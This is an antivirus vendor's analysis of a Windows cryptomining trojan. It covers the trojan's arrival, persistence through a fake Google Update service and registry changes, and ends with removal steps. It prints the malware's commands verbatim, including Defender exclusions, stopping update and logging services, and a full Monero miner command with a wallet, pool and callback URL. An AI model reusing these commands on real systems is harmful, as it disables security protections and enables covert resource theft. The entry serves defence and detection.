Analysis by: Neljorn Nathaniel Aguas

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It adds services similar to legitimate applications' to trick a user into thinking they are legitimate.

It connects to certain websites to send and receive information. It uses the system's central processing unit (CPU) and/or graphical processing unit (GPU) resources to mine cryptocurrency.

  TECHNICAL DETAILS

File Size: 817833480 bytes
File Type: EXE
Memory Resident: Yes
Initial Samples Received Date: 28 Oct 2024
Payload: Connects to URLs/IPs, Drops files, Modifies system registry, Mines cryptocurrency

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops a copy of itself in the following folders using different file names:

  • %ProgramData%\Google\Chrome\updater.exe

(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

It adds the following processes:

  • powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force → adds the user profile and program data directories to the exclusion list for Windows Defender to bypass scanning specific folders and .exe files.
  • cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart → quietly uninstalls the Microsoft Malicious Software Removal Tool (KB890830) without restarting the computer.
  • c.exe stop UsoSvc → stops the Update Orchestrator Service, which manages Windows Updates
  • sc.exe stop WaaSMedicSvc → stops the Windows Update Medic Service, which ensures the proper functioning of Windows Update components
  • sc.exe stop wuauserv → stops the Windows Update service to halt automatic updates
  • sc.exe stop bits → stops the Background Intelligent Transfer Service, used by Windows Update for downloading updates
  • sc.exe stop dosvc → stops the Delivery Optimization service, which handles peer-to-peer update sharing
  • powercfg.exe /x -hibernate-timeout-ac 0 → disables the hibernate timeout for computers on AC power
  • powercfg.exe /x -hibernate-timeout-dc 0 → disables the hibernate timeout for computers on battery power
  • powercfg.exe /x -standby-timeout-ac 0 → disables the standby timeout for computers on AC power
  • powercfg.exe /x -standby-timeout-dc 0 → disables the standby timeout for computers on battery power
  • sc.exe delete "GoogleUpdateTaskMachineQC" → deletes existing service named "GoogleUpdateTaskMachineQC"
  • sc.exe create "GoogleUpdateTaskMachineQC" binpath= "%ProgramData%\Google\Chrome\updater.exe" start= "auto" → creates a new service that points to the dropped copy of itself
  • sc.exe stop eventlog → stops the Windows Event Log service
  • sc.exe start "GoogleUpdateTaskMachineQC" → starts the newly created service.
  • explorer.exe --algo=rx/0 --url=xmr.2miners.com:12222 --user=86EBNigoaCXSio7ySVmzWpQKwD6L2LAsFFhfZEFbqiivD4n2BdrXF4XKcXAFHLS7hsRcYW3WXpQZqgkWuFR66QeqMx3AV4S --pass=x --cpu-max-threads-hint=20 --cinit-winring=mhhvoejiojwd.sys --cinit-stealth-targets=Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe,PLlhDBWxRt.exe,GPU-Z.exe,ModernWarfare.exe,ShooterGame.exe,ShooterGameServer.exe,ShooterGame_BE.exe,GenshinImpact.exe,FactoryGame.exe,Borderlands2.exe,EliteDangerous64.exe,PlanetCoaster.exe,Warframe.x64.exe,NMS.exe,RainbowSix.exe,RainbowSix_BE.exe,CK2game.exe,ck3.exe,stellaris.exe,arma3.exe,arma3_x64.exe,TslGame.exe,ffxiv.exe,ffxiv_dx11.exe,GTA5.exe,FortniteClient-Win64-Shipping.exe,r5apex.exe,VALORANT.exe,csgo.exe,PortalWars-Win64-Shipping.exe,FiveM.exe,left4dead2.exe,FIFA21.exe,BlackOpsColdWar.exe,EscapeFromTarkov.exe,TEKKEN7.exe,SRTTR.exe,DeadByDaylight-Win64-Shipping.exe,PointBlank.exe,enlisted.exe,WorldOfTanks.exe,SoTGame.exe,FiveM_b2189_GTAProcess.exe,NarakaBladepoint.exe,re8.exe,iw6sp64_ship.exe,RocketLeague.exe,Cyberpunk2077.exe,FiveM_GTAProcess.exe,RustClient.exe,Photoshop.exe,VideoEditorPlus.exe,AfterFX.exe,League of Legends.exe,Falluot4.exe,FarCry5.exe,RDR2.exe,Little_Nightmares_II_Enhanced-Win64-Shipping.exe,NBA2K22.exe,Borderlands3.exe,LeagueClientUx.exe,RogueCompany.exe,Tiger-Win64-Shipping.exe,WatchDogsLegion.exe,Phasmophobia.exe,VRChat.exe,NBA2K21.exe,NarakaBladepoint.exe,ForzaHorizon4.exe,acad.exe,AndroidEmulatorEn.exe,bf4.exe,zula.exe,Adobe Premiere Pro.exe,GenshinImpact.exe --cinit-api=http://cdnupdateservice.com/api/endpoint.php --cinit-version=3.4.0 --tls --cinit-idle-wait=5 --cinit-idle-cpu=90 --cinit-id=tjnooobwkhcgvgyn → runs a hidden Monero mining process disguised as a legitimate process and using stealth parameters to avoid detection by various applications

It adds the following services similar to legitimate applications' to trick a user into thinking they are legitimate:

  • Service Name: GoogleUpdateTaskMachineQC
    Type: Own process
    Binary Path: %ProgramData%\Google\Chrome\updater.exe
    Start type: Auto start

(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

Other System Modifications

This Trojan adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\MRT
DontOfferThroughWUAU = 1 → disables offering Microsoft Removal Tool updates through Windows Update

It modifies the following registry keys:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\
services\wuauserv
Renamed to wuauserv_bkp → results in Windows Update service to stop working

HKEY_LOCAL_MACHINE\System\CurrentControlSet\
services\BITS
Renamed to BITS_bkp → results in Background Intelligent Transfer Service to stop working

Other Details

This Trojan adds the following registry keys:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\
Microsoft\MRT

It connects to the following website to send and receive information:

  • http://{BLOCKED}.{BLOCKED}.{BLOCKED}.251
    which redirects to:
    • http://{BLOCKED}ateservice.com/api/endpoint.php
  • {BLOCKED}.{BLOCKED}.{BLOCKED}.184:1222
    which redirects to:
    • {BLOCKED}ners.com:12222
      which redirects again to:
      • {BLOCKED}ners.com:12222 mining pool

It does the following:

  • It utilizes binary padding to increase its own file size and evade detection.
  • It uses up to 20 CPU threads for mining, potentially slowing down the system.
  • It injects its mining process to explorer.exe and hides itself from detection from the following applications:
    • GPU-Z.exe
    • perfmon.exe
    • ProcessHacker.exe
    • procexp.exe
    • procexp64.exe
    • Taskmgr.exe
    • arma3_x64.exe
    • arma3.exe
    • bf4.exe
    • BlackOpsColdWar.exe
    • Borderlands2.exe
    • Borderlands3.exe
    • CK2game.exe
    • ck3.exe
    • csgo.exe
    • Cyberpunk2077.exe
    • DeadByDaylight-Win64-Shipping.exe
    • EliteDangerous64.exe
    • enlisted.exe
    • EscapeFromTarkov.exe
    • FactoryGame.exe
    • Falluot4.exe
    • FarCry5.exe
    • ffxiv_dx11.exe
    • ffxiv.exe
    • FIFA21.exe
    • FiveM_b2189_GTAProcess.exe
    • FiveM_GTAProcess.exe
    • FiveM.exe
    • FortniteClient-Win64-Shipping.exe
    • ForzaHorizon4.exe
    • GenshinImpact.exe
    • GTA5.exe
    • iw6sp64_ship.exe
    • League of Legends.exe
    • LeagueClientUx.exe
    • left4dead2.exe
    • Little_Nightmares_II_Enhanced-Win64-Shipping.exe
    • ModernWarfare.exe
    • NarakaBladepoint.exe
    • NarakaBladepoint.exe
    • NBA2K21.exe
    • NBA2K22.exe
    • NMS.exe
    • Phasmophobia.exe
    • PlanetCoaster.exe
    • PointBlank.exe
    • PortalWars-Win64-Shipping.exe
    • r5apex.exe
    • RainbowSix_BE.exe
    • RainbowSix.exe
    • RDR2.exe
    • re8.exe
    • RocketLeague.exe
    • RogueCompany.exe
    • RustClient.exe
    • ShooterGame_BE.exe
    • ShooterGame.exe
    • ShooterGameServer.exe
    • SoTGame.exe
    • SRTTR.exe
    • stellaris.exe
    • TEKKEN7.exe
    • Tiger-Win64-Shipping.exe
    • TslGame.exe
    • VALORANT.exe
    • VRChat.exe
    • Warframe.x64.exe
    • WatchDogsLegion.exe
    • WorldOfTanks.exe
    • zula.exe
    • acad.exe
    • Adobe Premiere Pro.exe
    • AfterFX.exe
    • Photoshop.exe
    • VideoEditorPlus.exe
    • AndroidEmulatorEn.exe
    • PLlhDBWxRt.exe
  • It throttles down CPU usage to 90% if the system is idle.
  • It uses the following version of XMR mining application:
    • 3.4.0
  • It mines the following cryptocurrency coin:
    • Monero (XMR)

It uses the system's central processing unit (CPU) and/or graphical processing unit (GPU) resources to mine cryptocurrency. This behavior makes the system run abnormally slow.

  SOLUTION

Minimum Scan Engine: 9.800
FIRST VSAPI PATTERN FILE: 19.674.08
FIRST VSAPI PATTERN DATE: 25 Oct 2024
VSAPI OPR PATTERN File: 19.675.00
VSAPI OPR PATTERN Date: 26 Oct 2024

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Restart in Safe Mode, and then delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\
    • GoogleUpdateTaskMachineQC

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\MRT
    • DontOfferThroughWUAU = 1

Step 5

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\
    • MRT

Step 6

Search and delete this file

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %ProgramData%\Google\Chrome\updater.exe

Step 7

Restart in normal mode and scan your computer with your Trend Micro product for files detected as Trojan.Win64.MALXMR.CJDR. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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